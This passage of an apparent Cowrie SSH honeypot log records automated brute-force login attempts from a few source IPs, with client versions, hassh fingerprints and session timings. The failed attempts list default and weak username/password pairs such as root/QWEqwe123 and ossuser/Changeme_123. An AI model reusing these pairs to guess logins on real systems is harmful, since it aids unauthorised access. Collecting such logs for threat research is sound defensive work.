,"hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.344905Z","src_ip":"103.189.235.114","session":"750ca0282c8f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.872736Z","src_ip":"91.92.42.227","session":"0c3188d5ae9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:39.875989Z","src_ip":"91.92.42.227","session":"0c3188d5ae9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palladium","password":"palladium123","message":"login attempt [palladium/palladium123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:40.320438Z","src_ip":"103.189.235.114","session":"750ca0282c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39298,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cee27155eaf","protocol":"ssh","message":"New connection: 45.156.87.147:39298 (10.17.0.5:22) [session: 8cee27155eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:40.668336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:40.672471Z","src_ip":"45.156.87.147","session":"8cee27155eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:40.801686Z","src_ip":"45.156.87.147","session":"8cee27155eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:41.049029Z","src_ip":"45.156.87.147","session":"8cee27155eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:41.556930Z","src_ip":"103.189.235.114","session":"750ca0282c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:42.197674Z","src_ip":"45.156.87.147","session":"8cee27155eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:43.531500Z","src_ip":"91.92.42.227","session":"0c3188d5ae9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:45.055393Z","src_ip":"91.92.42.227","session":"0c3188d5ae9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39312,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f330b7c7a98","protocol":"ssh","message":"New connection: 45.156.87.147:39312 (10.17.0.5:22) [session: 0f330b7c7a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:46.869560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:46.873302Z","src_ip":"45.156.87.147","session":"0f330b7c7a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59934,"dst_ip":"10.17.0.5","dst_port":22,"session":"676403ac0ccb","protocol":"ssh","message":"New connection: 91.92.42.227:59934 (10.17.0.5:22) [session: 676403ac0ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:46.969012Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:47.037292Z","src_ip":"45.156.87.147","session":"0f330b7c7a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"1qaz2wsx","message":"login attempt [core/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:47.314910Z","src_ip":"45.156.87.147","session":"0f330b7c7a98","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:47.983919Z","src_ip":"91.92.42.227","session":"676403ac0ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:47.987124Z","src_ip":"91.92.42.227","session":"676403ac0ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:48.398736Z","src_ip":"45.156.87.147","session":"0f330b7c7a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:51.134028Z","src_ip":"91.92.42.227","session":"676403ac0ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e46f41cafbbd","protocol":"ssh","message":"New connection: 45.156.87.147:58196 (10.17.0.5:22) [session: e46f41cafbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:52.798018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:52.802538Z","src_ip":"45.156.87.147","session":"e46f41cafbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:52.883981Z","src_ip":"45.156.87.147","session":"e46f41cafbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:52.899744Z","src_ip":"91.92.42.227","session":"676403ac0ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:53.137371Z","src_ip":"45.156.87.147","session":"e46f41cafbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:54.227905Z","src_ip":"45.156.87.147","session":"e46f41cafbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56964,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09e3a18a8fc","protocol":"ssh","message":"New connection: 91.92.42.227:56964 (10.17.0.5:22) [session: e09e3a18a8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:55.300791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:55.542579Z","src_ip":"91.92.42.227","session":"e09e3a18a8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:55.545599Z","src_ip":"91.92.42.227","session":"e09e3a18a8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:56.606865Z","src_ip":"91.92.42.227","session":"e09e3a18a8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:57.690758Z","src_ip":"91.92.42.227","session":"e09e3a18a8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58204,"dst_ip":"10.17.0.5","dst_port":22,"session":"5495a1a5411b","protocol":"ssh","message":"New connection: 45.156.87.147:58204 (10.17.0.5:22) [session: 5495a1a5411b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:58.541558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:58.545686Z","src_ip":"45.156.87.147","session":"5495a1a5411b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:58.633350Z","src_ip":"45.156.87.147","session":"5495a1a5411b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:58.951961Z","src_ip":"45.156.87.147","session":"5495a1a5411b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:00.038934Z","src_ip":"45.156.87.147","session":"5495a1a5411b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bbd64211b9c","protocol":"ssh","message":"New connection: 27.71.230.31:34812 (159.203.135.109:22) [session: 1bbd64211b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:01.660298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:01.730819Z","src_ip":"27.71.230.31","session":"1bbd64211b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57022,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3faf0829e5","protocol":"ssh","message":"New connection: 91.92.42.227:57022 (10.17.0.5:22) [session: db3faf0829e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:03.084276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:03.098610Z","src_ip":"91.92.42.227","session":"db3faf0829e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:03.178960Z","src_ip":"91.92.42.227","session":"db3faf0829e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:03.636652Z","src_ip":"91.92.42.227","session":"db3faf0829e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7940c17e6b","protocol":"ssh","message":"New connection: 45.156.87.147:45008 (10.17.0.5:22) [session: 7e7940c17e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:04.490413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:04:04.494740Z","src_ip":"45.156.87.147","session":"7e7940c17e6b","protocol":"ssh"}
